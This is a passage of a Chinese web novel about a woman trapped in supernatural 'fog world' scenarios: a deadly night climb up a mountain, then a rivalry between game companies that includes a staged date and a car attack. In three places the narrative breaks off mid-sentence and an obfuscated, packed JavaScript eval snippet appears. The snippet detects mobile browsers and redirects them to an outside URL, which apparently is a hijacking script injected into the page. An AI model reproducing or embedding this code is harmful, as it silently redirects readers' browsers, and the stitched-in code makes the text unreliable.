哪怕脚上蹬着一双十几厘米高的皮鞋，她依旧健步如飞，呼吸平稳，甚至还有心担忧前面穿着平底鞋的林筱：“林总，我好累啊，我们停下来暂时休息一下嘛。” 秘书肯定是不累的，她身后的普通人已经累了。至于她自己，她应该累吗？ 清洁部派来的队长看见林筱没有答话，奇怪地看了她一眼。 从一个正常人眼中，这句话说得很随意且正常，但对于林筱而言，这涉及她想要维护巩固的人设。 所有人都在等着她回答，包括秘书。 看着秘书小姐眼中隐藏不住的喜悦，林筱点了点头：“那就休息。” 身后的人在欢呼，秘书小姐眼中飞快地闪过一丝失落：“前面就有个亭子，林总，我们去那里休息吧。” 她在失落什么？ 林筱将怀疑按在心底，沿着秘书指引的方向，顺着岔路来到了一座涂着红漆的凉亭。 凉亭看上去没有问题，林筱等着秘书坐下后才找了个干净的地方坐下，观赏山下的风景。 天色已经全然暗下来，只有几颗星子散发着柔和的光芒，让他们勉强看见身前的道路。 清洁部的队长打开手机的手电筒功能，对着下方照了下去。 山路崎岖弯折，但按照方向推论，他们下方应该就是另一条小路。 强光在黑暗中打开一条通道，下方的景色也逐渐清晰。黑暗中，有几十对绿色的光点随着灯光慢慢移动。 清洁部队长当机立断，立马将手电关上，伏低身子。凉亭内只剩下众人粗重的喘息，后怕的情绪一阵阵涌上。 狼群，一大群狼就守在道路的中央。如果他们没有来到凉亭，那此刻他们就该和狼群搏斗，活下来的也不知道能剩下几个。 林筱是少数没有动弹的人。她余光瞥向秘书小姐，看着她的唇角略微上扬，顿时明白这就是她失落的事情。 如果她选择错误，她就会带领她的同伴共赴狼吻。 清洁部队长很快就从这一系列的事情中发现端倪，一边让人拖住秘书小姐，转移她的视线，一边悄然靠近林筱。 “你发现了什么？” “这是我的东西，又不是我的东西。我总是要跟随设定者走的。”林筱没有直说，绕着圈子和这位还算负责的队长泄题。 就当她是被晋王弄怕了，唯恐又说了什么被弹出白雾世界。 不愧是经验丰富的队长，他比林筱想象的还要快反应过来，皱着眉：“那我们现在是安全了吧。” 只可惜还是天真了。 “谁告诉你，一个问题只有一个错误答案。”林筱看着被人缠住的秘书小姐，冷着脸说道。 这本身就是一个无解的问题。 林总这个人设本身是长时间不运动的上班族，所以他肯定无法坚持走完全程山路，必须要中途休息。但她选了休息，就代表接受了秘书小姐的示好，这也违背了她的人设。 所以这一条路，也不会安稳。 52. 第二个世界9 抬起头，眼前的山顶却依旧距离他们五百米之遥。 现在是二十三点，距离秘书小姐规定的时间只剩下一个小时，但到达山顶看上去就像是个不可实现的幻想。 不管他们走多远，他们与山顶的距离始终不变。 就算他们是铁人，也接受不了那么高强度的行走，更何况他们不是。 再一次中途休息之后，他们正准备继续前进时，角落一个衣衫褴褛的中年男人大喊一声，坐在原地再也不肯动弹：“走什么走，再走也一样，我们现在这样根本不可能走到山顶！与其走到累死，还不如坐在一起讨论一下解决办法。” 其余人的脚步一顿，抬头看向近在咫尺的山巅。 他说的也不是没有道理。他们已经走了那么久，但依旧没能走完这五六百米的距离，说明光靠走已经解决不了问题。 或许是时候寻找其他上山的办法了。 清洁部的人则暗地里互相对视了一眼。 看来林筱没骗他们，不管是休息还是不休息，没有一个选择是正确的。这就是白雾世界给他们的陷阱，如果他们一味地顺从白雾世界，他们将永远无法抵达目的地。 “林总身体不好，不能走那么快。”秘书小姐冷不丁地转头看向他，突然冷下来的脸看上去阴森古怪，渗人得很。 “她身体怎么不好了，她走得比谁都快！”如果秘书给的是一个合理的解释，他还能勉强理解，但听到这个明显糊弄他的理由，他甚至没给清洁部的人一个阻拦的机会就不爽地开口，“与其关心她身体好不好，不如考虑我们这些有了年纪的人，这山路根本就不是给人走的。” 林筱看了他一眼，说不定他还真的说中了，这条路就没打算给人走。 这是一条走向死亡的归路。 这只是一个常见的、随意的抱怨，所有人都没有留意，除了秘书小姐。她瞪了那个男人一眼，突然追上林筱撒娇：“林总，既然那个人走不了路，我们就不管他了吧。” 他只是不想走，不代表走不了路吧。 正当大家疑惑的时候，身后传来惨烈的嚎叫，他们下意识地扭过头去。明明没有外物，那个叫喊的人双腿还是在他们眼下突然畸形，小腿呈现出奇怪的角度，无力地摆在一边。 这下，他真的走不了路了。 秘书小姐依旧是那个甜美笑容，像是没有注意到有人诡异地断了腿：“哎呀，时间不多了呢！林总，我们得快点走，不然就会遇到不好的事情了。” “你没看见我腿断了吗，还不快给我叫救护车！”摔倒的人还没意识到他在白雾中可没有现实世界的地位，也没反应过来如今遇到的一切都不可以用常理来解释，依旧趾高气扬地呵斥道。 旁边有人看周围的气氛不对，跑到他身边扯了扯他，想要让他识趣。没想到这反而引来他更加大声的不满：“怎么，摔伤还不让我治疗，你们是想要我的命吧。谁知道这一切是不是那个林总搞的鬼！” 这一下，就连他周围的人都不敢拉扯他，生怕被他连累。 哪怕他们不知道林筱是玩家，也能从秘书的态度中看出她不能轻易招惹。 果然，秘书之前还不准备理他，现在听到他这么一说，一张小脸含怒嗔道：“你们这些人本来就是借着林总的光才能有机会夜爬百巫山，现在居然还要贬低林总。你们不会有好报应的！” 那人本来还有些害怕，但听到秘书连狠话都不会放，胆子反而大了起来，挑衅地看着她：“如果真有报应，那就来啊。” 周围的人更是远离了他几步。 既然都来到了这奇怪的世界，不想着谨慎，反而处处挑衅，怎么看都像是没有脑子，靠近他只会给人带来不幸。 秘书果然说不出什么，愤愤地转身哼道：“我们快走，别理他。听说这山里还有熊，到时候把他吃了，让他说林总坏话。” 这么小的山里能有狼就已经很神奇了，现在居然还有熊。 他们抱着半信半疑的态度跟随着林筱她们的脚步，但被他们留在身后的人却只当秘书小姐在吓唬他，自顾自地大笑。 但没多久，笑声突然消失。 有人好奇地转过头，却饱受惊吓地扶住身边人的肩膀，低声说道：“快走。” 大家默默加快了步伐，被他当拐杖的人轻声询问：“发生了什么？” “有熊，”他惨白着脸，粗重的声息隐藏着来不及收敛的惊慌，“一头棕熊。它没有彻底杀死他，只是让他失去说话的能力，玩弄他。” 每种动物的捕猎习性都不一样，熊绝对算不上良善的动物。遇到熊时，尽快死亡说不定还是一件幸运的事情。 突然失去了一名同伴，虽然不知道对方叫什么，但他们难免还是有一些物伤其类的惆怅。 “白雾里不会死人吧？”沉默的行走中，有人抱着侥幸询问道。 他们这些误入白雾的人几乎都是第一次进入，对着眼前的情况完全不了解，只是本能地跟着大部队行动，能忍到现在才问已经算是心理素质良好。 “你从哪听到的假消息？”一个看上去起码有白领身份的人冷冷地开口，“不是白雾不死人，而是白雾死人的消息从不被泄露。” “那你怎么知道。”他不甘心地反驳，也不知道是真的觉得对方说的不对，还是单纯不想相信现实，“专家都说了，白雾只会对人的脑部产生影响，精神失常算是比较严重的后果了。” “是，它是比较严重的后果。可更严重的后果不就是脑死亡。”白领冷漠地开口，“我来自雾区，我亲眼看着我的发小在我眼前死亡，这难道不比专家更让人信服吗？” 在听到白领说出他居住地址的时候，林筱就发现周围的人都忍不住到吸了口气。 雾区，是什么特殊的地方吗，竟然让大家都那么害怕？ 大家都接受了白领说的话，看着永远抵达不了的山巅更多了几分害怕。 “那现在怎么办？”他们害怕地看着四周，“只剩下半小时，我们肯定到不了山顶。按照那个女人说的，到不了山顶就会出现不好的事情，我们是不是只剩下死这一条路了。” 说到“死”这一个字时，他的嘴唇都在颤抖，那是人类对于死亡本能地恐惧。 没有人回答他，因为大家也不知道他们命运的归途。 过了一会才有人开口：“就看那个不好的事情有多不好了。” 是全部死亡，还是能活下来几个。 本就沉默地气氛更加低沉。 清洁部的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073107|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队长也没有找到解决问题的方法，只能抱着死马当活马医的想法靠近林筱： “这场白雾的主人是你，你现在的任务就是尽可能的想象山顶就在我们眼前，我们已经抵达山顶。” 林筱点了点头。 按照她之前脱离白雾的经验来看，队长的这个说词确实有可行性。她暂时也没想出别的办法，就先这么试试。 随着林筱的想象，眼前的山路变得扭曲，犹如万花筒般让人头晕目眩。他们距离山顶的距离的确减少了，但给人带来的负担也越来越大， 只是走了几十米，已经有人支撑不住地晕坐在地面上。 “这样不行。”清洁部的队长摇了摇头，“按照现在这个速度，我们还是来不及赶到山顶。” 清洁部的其他人也忍不住失落地叹气。但毕竟是没有经过训练的新人，控制不住自己的思想很正常，他们也没责怪林筱。 但随着林筱一次次的尝试，道路逐渐变得正常，但距离让他们即刻达到山巅还是有段距离。 但现在，时间只剩下三分钟。 来不及了。 不需要别人说，大家在心里都已经浮现出这个想法，他们来不及到达山顶了。 “林总~”秘书小姐贴近林筱，黏腻地说道，“我们……” 没等秘书小姐开口，林筱先打断了她的话：“太好了，我们已经到山顶了。” 其他人奇怪地看着林筱，不知道她是不是精神失常才会说出这种明显与现实不符的话。 “啊？”秘书小姐也没有发应过来，迟疑地发出一声疑问。 “我们已经到山巅了，不是吗？”明明已经到了生死关头，林筱反而更加放松起来，“这里的星空很美，这不就是我们的目的吗？” “啊……？”秘书小姐慢慢扭头看向四周，周围的环境以肉眼可见的速度变化，最终成为了他们熟悉的，却永远抵达不了的山巅，“是我们的目的。” 其他人看着眼前的变化，虽然不知道发生了什么，但劫后余生的喜悦让他们暂时放弃思考，欣赏眼前在触手可摸的星空。 “果然很美。”秘书小姐在一旁低声说道。 “嗯。”林筱淡淡地应了一声，“今晚爬山累了，休息吧。” “林总是在关心我吗？”秘书小姐笑着凑近她，“哎呀，难得听到林总说这种话呢。” “嗯，关心你。”林筱点了点头。 一旁的清洁部队长瞪大眼，不明白林筱为什么要违背人设说这种话，一边等待不知道会发生什么的挑战。 但什么也没有发生，星子依旧在夜空闪烁，那般绚丽的色彩是任何珠宝都无法比拟的魅力。 “谢谢你。”秘书小姐低声说道，她顿了一下，“晚安，林筱。” 她没有说林总，她喊的是林筱的本名。 但林筱毫无意外，淡定地点了点头：“晚安。” 周围的景色再次变化，清洁部队长张大嘴，不明白事情的发展怎么突然就快进到进入第二重白雾世界。 没有死亡的人都将以全新的姿态进入第二重世界，那个被他们留下的人侥幸活了下来。 他穿着那身破破烂烂满身血污的衣服，对着林筱做出口型：找到你了，玩家林筱。 53. 第二个世界10 “据悉，本市著名游戏公司天狼星即将发售游戏《无限逆旅》。这款游戏自公布以来一直受到广大网友的密切关注，他们……”穿着米色西装的记者对着镜头侃侃而谈，陌生的卫视播放着陌生的新闻。 遥控器被人夺走，电视屏倏地黑了下来，穿着一身正装讲解的记者从林筱眼前消失，取而代之的是一脸威严的男人。 他穿着一身黑色的休闲服，板正的脸上带着明显的焦灼感，却没有对林筱发泄出来。 趁着对方没有注意，林筱飞快地扫视一遍周围的环境。 简约风格的装潢由黑白两色组成，跳脱的二次元风格图绘是后期刷上的，年轻，却格格不入。 这是一间办公室，大概还是某家公司的领导层所有。除了宽敞的办公桌和舒适的人体工学椅，还有一个独立的会客厅。 现在，他们就是在这有水果饮料糕点电视的会客厅。 所处的位置大致清楚了，她需要弄明白自己是谁。 她叫林筱，是这家公司的老板。 可她总感觉自己的记忆不对，但又有一道声音告诉她现在这样是正常，她没有缺失任何记忆。就像她知道自己叫林筱一样，当她开始回忆时，她的脑海里总能跳出相关知识点。 就比如眼前这个人。 虽然她总觉得眼前的人看着陌生，但记忆告诉她，这是她的合伙人。他们一起创办了这家游戏公司，而新闻里的天狼星就是他们最大的竞争对手。 “再看新闻也没用，天狼星就是比我们快了一步。”对面的男人闷声道，“但还没到我们放弃的时候。想想那张对赌协议，你也不想我们的心血被当成废品成为天狼星的垫脚石吧。” 对赌？ 林筱想起来了。之前他们公司因为业务发展遇到困难，在天狼星的挑拨下和他们签署了对赌协议，赌的就是他们新开发的游戏流水。如果输了，他们的公司将会以一个极其低廉的价格卖给天狼星，所有的成员会被拆分到天狼星不同的组别，而他们两个创始人则会被扫地出门。但如果赢了，他们也可以以远低于市价的价格拿下天狼星。 虽然理智在告诉她的确有这件事情，但本能却提醒她这种冲动的举措不像是她能做出来的。 这种奇怪的分离感让林筱整个人都浑浑噩噩，更没有精力回复眼前的男人：“我累了，让我休息一下。” 男人没有多说什么：“那你好好休息，新游戏还少不了你。” 他离开了办公室，只剩下林筱一个人。 这个世界很诡异，包括她自己。 她知道自己叫林筱，也知道她父母亲朋叫什么，但回忆起他们的样貌时却总觉得像隔了一层纱般模糊。 就跟她知道她的公司叫什么，却对创立它的过程印象模糊。 这不符合她的风格。 他们的公司叫做白雾，一个给林筱异样熟悉感的名字。根据她的记忆，这个名字还是她灵光一闪想出来的。 但奇怪的是，她似乎对这个名字没有好感。 哪怕找到的矛盾如同滚雪球般越来越大，林筱也从来没想过戳穿它。如果要问她原因，她也只会说直觉。 除了这些奇怪的事情，这场游戏公司之间的纠纷也显眼得古怪。 或许天狼星在业内很有名气，但这影响力应该还达不到让最重要的卫视特意开辟出一个节目报道相关消息。 林筱看着公司飘逸的logo，望着窗外明媚的阳光，慢吞吞地打开手机，找到天狼星的相关消息。 她点开了他们新游戏宣发的相关资料。 他们公司的新游戏叫做《无限逆旅》，是一款逃生类游戏。玩家可以组队或者由系统分配队友来到随机一张游戏地图，通过解密、小游戏、大逃杀等不同关卡收集世界信息，解锁最终任务，击败最终BOSS，成功逃离游戏地图。 游戏玩家每天只有一条命，可以通过氪金获取多余的生命和道具，提高游戏通过率。 而这款游戏的噱头则是天狼星宣称他们有上千张地图，每张地图的关卡设计都不尽相同，可以给予玩家更完善的游戏体验。 抛开莫名眼熟的剧情设定，林筱不得不承认自己的公司大概要输了。 虽然他们的新游戏也在按照计划完成，但不管是新颖程度还是操作性都肉眼可见得比不过天狼星，只能说是比上不足，比下有余。 也难怪之前那人的话也是以安抚为主。她能看出来的，公司里的其他人没道理看不出来。即使大家不说，整个公司的气氛也必然萎靡下来。 他们公司是只有十个人的小作坊，因为之前出过一款爆款游戏才有了名气。没有出名前还可以用画风粗糙的鬼畜小游戏吸引玩家，但等到公司做大做强之后，种种因素的限制反而让他们失去了最初的灵性。 这也是他们的动作会比天狼星慢的原因。 本来想着做出一个大制作一鸣惊人，如今却是一枪哑火，曾经的意气风发都成了笑话，再加上未知的前路，也难怪一家游戏公司可以那么安静。 林筱叹了口气，继续查找天狼星的相关资料。 这也是一家新兴企业，能找到的资料虽然多，但都是重复的无效信息。她都已经将方向从业务方面转移到其他信息上，终于看到了一张图片。 那是一个长得与现代社会格格不入的古风男子，眉目清俊，看介绍，还是天狼星的老板。 在他的大图之下，是其他已经露面过的天狼星成员。他们每一个人都各具特色，与其说是程序员，倒不如说是各行各业鱼龙混杂的。 在这样的对比下，这位老板的人像就更加亮眼。 姜时宴。 林筱默念这个名字。 又是一个熟悉但毫无印象的名字，但的确激起了她的好胜心。也不知道他们之前有什么纠葛，她心里似乎有声音在告诉她，绝不能输给这个姜时宴。 这可不好办啊，尤其是在他们白雾公司明显劣势的时候。 “林总，”正当林筱还想为公司谋一条生路时，办公室的门被冒冒失失的同事撞开，他高举着手机，亮起的屏幕上是一则新闻的页面，“我们被告了！” 被告了，因为什么被告了？ 还没想好公司接下来该怎么办却又听到这个不好的消息，林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073108|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筱接过他的手机：“怎么回事？” “那明明是我们辛辛苦苦想出来的游戏！”闯进来的人双眼都充满了泪水。回忆起那通宵达旦的日日夜夜，亲眼看着自己的“孩子”被别人抱走还被冤枉为“人贩子”的委屈涌上心头，一个身材健硕的壮汉也柔弱得像个大病初愈的患者一般：“他们怎么可以这样！” 看来这位同事已经不能说出正常逻辑的话语了，林筱快速地扫过一遍新闻，险些被他们的无耻逗笑。 天狼星居然宣称，他们另一款新游戏的相关资料遭到同行恶劣的偷窃。目前系统还在紧急维护中，但他们已经知道对方是谁，并表示绝不和解，他们将采取正规途径维护自己的利益。 盗窃这件事真假不明，但为了吸引更多路人的注意，也为了给这一游戏造势，他们简单罗列了一些要素。 而这些要素，正是白雾新游戏的吸金点。 如果他们现在发出声明，在天狼星还没有公布小偷是谁的当下，就有了做贼心虚的嫌疑。如果他们按兵不动，当他们新游戏发布的时候，大家也会看见两个游戏之间的相似点，无疑将他们推上另一起高潮之上。 就算他们澄清了盗窃事件，民众对他们游戏的期望值也会减弱，天狼星就能顺理成章地赢得这场对赌。 之前出现在林筱办公室的男人，也就是他们这家小公司的副总也走了进来，蹙起的眉头毫不掩饰地表达自己对天狼星的厌恶：“是我们没有防范到他们的手段会那么下作。公司前几日有人离职，大概就是他把消息透露给那边。” 的确下作。 “现在说这些也没用了。”她将手机还给对方，看着对方满眼期待的样子，“一条路走到底，还是换一条路？” “换一条路？”副总皱起眉，不太理解林筱说这句话的用意，“现在开发新的游戏已经来不及了，还不如在原有的基础上做出一些修改。” “我的意思是，你们继续研发这款游戏，”林筱半睁着眼，看着这些过分耿直的合伙人，“我和天狼星打擂台。” 林总和天狼星打擂台，那和他们和天狼星对上有什么区别吗？虽然明知这场硬碰硬他们注定只有输的结局，但他们还是坚定地站在林总身边：“那需要我们做什么吗？” “帮我把人约出来。”他们还是不明白啊，林筱指着手机上姜时宴的图片，“我和他见一面。” 他们看着林筱，又看了眼图片上俊逸的男人，不由地浮现出一个念头： 联姻？ “好，好的。”副总磕绊地说道，犹豫了一会，还是忍不住劝道，“我们也没必要牺牲到这种程度。” “舍不得孩子套不到狼。”不花钱请人吃饭，就下不了套。哪怕他们现在流水紧张，但这点钱挤一挤，还是需要拿出来。 但这句话放在他们两人耳中就是截然不同的意思了，他们敬佩地看着林筱：“林总，无论发生什么，我们都会一直相信你的。我们也会安抚好其他同事，你放心去吧。” 林筱疑惑地看着他们，却没有在他们脸上看见一点不利自己的情绪，只能当做是他们在重压之下的胡言乱语：“嗯。” 54. 第二个世界11 悠扬的小提琴声，燃动的昏黄烛光，怒放的鲜艳玫瑰，以及独具格调的西餐厅。 看着被小情侣簇拥的空桌，林筱克制住想要夺门而逃的冲动，拖着沉重的脚步一点一点挪向属于他们的位置边。 她想不明白，是什么样的脑子才会觉得她约对头公司的老总会想在这么一家情侣餐厅内。难道不应该选在幽静的私家餐馆，或者拥有安静会谈空间的酒店包厢内？ 她甚至不知道一会看见天狼星的姜总时该说些什么才能避免两人的尴尬。 林筱闭上眼，他们白雾倒闭是罪有应得的。 就在她好不容易来到距离他们桌位三米远的位置时，身后突然传来一道熟悉又陌生的声音，带着不明显的戏谑：“林总。” 在这个地点、这个时间叫住她的，还能有谁。 她深吸一口气做好心理准备，转过身，挂起营业性质的假笑，果不其然地看见大步走来的姜时宴：“姜总也刚来啊。” 在网络上看到姜时宴的照片时，林筱就已经觉得对方不是一个好对付的人，如今见到真人，那种感觉就越发明显。姜时宴就像一只喜怒不形于色的笑面虎，看着不显山露水，但隐藏在眸色中的阴暗却像时时刻刻准备将敌人吞噬殆尽般深沉。 就以他们公司那几个人的能力，能在天狼星的攻击下坚持那么久已经算是奇迹了。 倒也不是说他们公司的人不聪明，只是他们的性子太过耿直，对于商场上那些手段毫无防备，又怎么可能是眼前人的对手。 听到林筱的这句话，姜时宴露出一个微妙的表情，不动声色地审视她一番，这才露出一个恰当好处的笑容：“也是凑巧，让我们能够同时到达。” 他反客为主，向前几步将林筱引到他们的桌位前，亲昵地为她挪开椅子：“林总请。” “谢谢。”林筱站在座椅前迟疑了一秒，最终还是接受了姜时宴的好意，但内心的疑惑却越来越多。 如果她没有看错的话，刚才的姜时宴就因为她一句“姜总”而露出古怪的表情。 “姜总”这个称呼寻常普通，能让他表现出异样，这就证明他们之间曾经有更独特的称呼。一个专属称呼，就代表他们的关系可能比她想象的还要亲近。 不管这是因为来自正向或者负面的情感关系。 哪怕林筱早就已经知道自己的记忆有问题，但却也从没有像现在这样那么迫切地想要恢复记忆。 她想要知道真相，想要知道他们之间的关系，她能感觉到他们之间的联系将会改变现在的格局。 不需要服务员，姜时宴再次亲自为林筱倒了一杯水：“林总先润润口。” 挪椅子还可以说是绅士风度，可如今姜时宴和她的距离太近，近得不该是陌生人或者是普通认识的朋友之间的距离。 再加上他并没有对眼前的环境表示异议，林筱的心头陡然升起了一个难以置信的念头： 他们该不会真的是情侣吧？ 按照姜时宴现在对她的态度，她至少也该有个前女友的头衔。 突如其来的新思路让林筱忍不住开始观察两人相处时的细节。 这一观察，一些平常不会注意的细节猛然放大，一点点成为进一步佐证他们关系的证据。 就比如，姜时宴知道她爱吃什么，不爱吃什么。他知道她用餐时的习惯，甚至能过通过她一些细微的动作推断出她下一步想要做什么。 就像他们已经朝夕相处一段时间一样。 所以，她的记忆缺失是因为情伤？因为和姜时宴的感情投入过多，所以一旦分开就难以接受，以至于失去了和他相关的记忆，造成了记忆的中断。 可还是有哪里衔接不上。 就在林筱不断头脑风暴的同时，他们的用餐也已经到了餐后甜点的步骤。 小巧的甜品叉分割出一小口甜点，林筱看着眼前的男人，试探着开启话题：“姜总也猜到我今天约你来的目的吧。” 昏暗的光线，伴随着轻微的乐器奏鸣声，当林筱说完这句话时也都觉得此刻暧昧到极致。 但姜时宴却完全没有被如今的氛围所迷惑，依旧一副公事公办严阵以待的样子，将这句试探扔回了林筱那边：“不如林总说说，看看是不是和我猜的一样。” 林筱捏紧手中的餐具。 这该死的僵持感还真让她异常熟悉，就像她曾经经历过很多次同样的挫败一般。 她突然明白两人会分开的原因。就算他们是情侣，最终也只会因为彼此都不肯认输而变成怨侣。 林筱一边根据姜时宴的反应修改着对两人关系的定义，一边继续试探：“我们之间还能是什么事？” 姜时宴看着周围甜甜蜜蜜的小情侣们，伴着微醺的醉意，尾音像是压不住地上扬：“林总这是，想要吃回头草了？” 嗯，这算是默认？ 本以为两人还会互相试探几回合，如今对方率先认输，倒是让林筱产生了有气无力使的无力感，只能看着盘中的甜点含糊道：“吃什么草，回不回头不重要，够不够营养才重要。” “那林总觉得我如何？”有些话一旦开了口，总有人会开始肆无忌惮地试探底线。 但姜时宴的话依旧不好判断他们的关系。他没有直接承认，只是在不断引导她往两人曾经有一段过去的方向上想。 引导。 “我只是觉得，有些事本来是可以有不同的结果的。”两个人都不肯明说，含糊着你来我往地试探。 但这种方式对于他们来说，就如同游戏般有趣。 “但我们也不知道究竟哪一种结果才会是最好的结果。”姜时宴放下餐具，“所以只能不断地尝试。” “但对于好，每个人，甚至同一个人的不同时期，对于它的定义都不一样。”林筱也结束了用餐，“世上的所有事物都处于运动变化中，只有运动是绝对且无条件的。所以就算是一个人，他上一秒与这一秒相比都已经产生了变化。” “所以？” 林筱看了过去，恰好捕捉到姜时宴飞快闪过的一丝迷茫。 迷茫？她的那句话带给他什么新的想法了吗？ 林筱回想了一遍，确定自己只是借用一个基础的物理常识来表达自己的观点，并没有什么新奇的东西。 抛开一切的不可能，剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073109|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的再荒诞也可能是唯一的真理。 她眼前的人，天狼星的姜总，姜时宴，是一个连义务教育都没有完成的文盲。 一个文盲成为有钱人不稀奇，但一个文盲成为游戏公司的老板兼主创人员，那就很难不让人多想。尤其是他们设计的游戏就是奠定在大量的物理数据之上。 所以这款《无限逆旅》，是不是真的由天狼星自己设计研发的？ 哪怕突然发现这个重大突破点，林筱也没有表现出任何得意。 她也的确没有可以得意的优势。 她现在的优势在于，她知道姜时宴知道她记忆出现了混乱这件事。所以她要利用姜时宴对她防备减弱的时候，获取更多有利于她、有利于白雾的消息。但从总体实力上看，正是因为白雾弱于天狼星，所以她才需要另辟蹊径。 至于所谓的情侣关系，她现在更倾向于这是姜时宴故意误导的方向。他们肯定认识，这毋庸置疑，但他们之间的关系却没有他们如今表现得那么密切。 更像是亦敌亦友？ “所以，”她微微扬起下巴，有些骄纵般地开口，“有些东西，我还想尝试第二遍。” 姜时宴微怔过后却没有立马答应，“我以为林总今日约我来，是为了公事。” 长得像古人，说话也文绉绉的，还是个文盲。他该不会是从古代穿越而来的皇亲贵胄吧？ 林筱也没料到自己突然之间会那么跳脱，居然还会觉得这个世界上有穿越这件事。 她看着就算在这种地方依旧坐得端正的姜时宴：“本来是这么打算的，但现在看到姜总，又觉得一切都好商量。” 这一回，姜时宴的惊讶难以掩饰。 他们之间的关系或许真的不太好，所以才会在听到她这带着调情意味的话语时控制不住表情。但这也问题不大，惊讶这件事是有理由可以解释的，甚至林筱现在就能帮他编出几条不一样的理由。 姜时宴沉默了。 糊弄人有一手，但直球起来，姜总反而有些羞涩了。 看样子姜总虽然常年在外与人尔虞我诈，但在情感方面依旧很含蓄单纯。 这都让林筱的良心有些不安了。 但前提是，她有良心的话。 “我们白雾和天狼星还有对赌协议呢，不管谁输谁赢，未来我们都是一家的。”林筱乘胜追击，“一家人不说两家话，如果我想提前体验一下贵公司的游戏，姜总不会拒绝我吧。” 林筱最终还是放过了姜时宴，将话题转回到他们都熟悉的领域。 “那还请林总照顾一下我们的生意，也算是互帮互助。”姜时宴不动声色地松了口气，“就像林总也不会带我去白雾公司看你们的游戏一样……” “你不问我，怎么知道我会不会带你去。”林筱打断他的话，燃到一半的蜡烛依旧平缓地释放着不争不抢的清雅香味，“只要你亲自问了，我就会答应。” 姜时宴神色不定地看着她，就像看着一个熟悉的陌生人，甚至夹带了对自己以及世界的怀疑。 “那么，姜总，”林筱假装没发现他的迟疑，拢了拢披散在耳畔的长发，“你要来吗？” 55. 第二个世界12 “林总，”白雾副总的声音即使隔着电流依旧能感知到那带着喘促的兴奋，他忍不住拔高音量，“网上对于天狼星的风评果然变了，现在一大群网友都在说要抵制天狼星！” 越想，他心里越美滋滋：“等这时候我们再公布新游戏的消息，他们肯定也会因为同情我们而选择预约吧。” 林筱看了眼已经在倒计时的绿灯，再看着眼前缓慢流动的车流，放缓速度等待下一次通行。蓝牙耳机将副总的声音清晰地传入耳道，甚至还包括其他人的欢呼声。 “先别激动。”果然，轮到她的时候就红灯了。 林筱停下车，趁这漫长的等待时间冷静地吩咐他：“现在网友也只是被我们的舆论左右，等过几天冷静下来，他们还是会选择天狼星的游戏。我们现在让他们了解的也只是一些模棱两可的猜测，只要天狼星坚持不承认，我们也没办法。” 她约姜时宴吃饭可不是为了老情人重逢。 虽然餐厅是副总选择的，但提前潜伏进去的媒体却是她仔细筛选过的。那种为了热度不择手段的媒体自然不能要，但中规中矩的也不行。 她请他们来是为了左右如今的舆论环境，又不是为了做经济访谈，自然需要他们报道的新闻要够抢眼，够新颖，还不能太浮夸。 而这家媒体就做得很好。 他们拍下了她和姜时宴亲密约会交谈的照片，再加上他们匿名寄给这家媒体的关于自家公司员工跳槽的消息，成功营造出天狼星使用美男计迷惑白雾公司领导人并派遣商业间谍影响白雾公司的表象。 他们只是摆出事实，网友怎么猜那是他们的事，就算追究也追究不到他们的责任。 “对，现在还不能得意。我们最后还是要靠成绩说话，现在只是拉平了热度和风评。”副总深呼吸几下，平复了激昂的心情，这才想到夹杂在这件喜事中的瑕疵，“就是林总您的牺牲太大了。” “还行。”林筱扶着方向盘，客观地评价道。 那条新闻她也看了。她被描述成一个恋爱脑上头的人，对自己的恋人毫无隐瞒地透露出公司的进度，这才让天狼星顺利找到合适的间谍人选，并对白雾造成了损失。 虽然很蠢，但至少不是坏人，网友对她的评价还是中性为主。 只要公司能赢，这点名誉她还放不在眼里。如果她是那种会因为外界对她的评价而要死要活的人，她也不可能约姜时宴见面。 也不知道姜时宴看到这条新闻会有什么反应？ 想到对方发觉自己被利用后的恼怒，林筱就忍不住心情舒畅。大概他们在她失忆前真的有仇，所以一想到对方倒霉她就高兴。 红灯再次陷入倒计时，林筱示意副总有事一会再说，右脚放在油门上等待通行。 倒计时结束，林筱轻踩油门，缓慢起步。 现在是上班高峰期，但这条路因为是新建的，最近车流量并不多，行人更是稀少，所以在通过十字路口后，林筱也没有时刻留意左右的动态，匀速驶入自己的车道之内。 “你继续说……”林筱示意另一边的副总继续，猛然间感觉到车身一阵，急忙控制车子不撞到隔离栏上。 后车追尾了，还是很严重的那种。 一般情况下，遇到交通事故他们需要等待交警来处理。但现在不是一般情况。 那辆黑色的轿车从她的右后方突然加速向她撞了过来，甚至一击没有成功，他还调转车头继续准备第二次袭击。 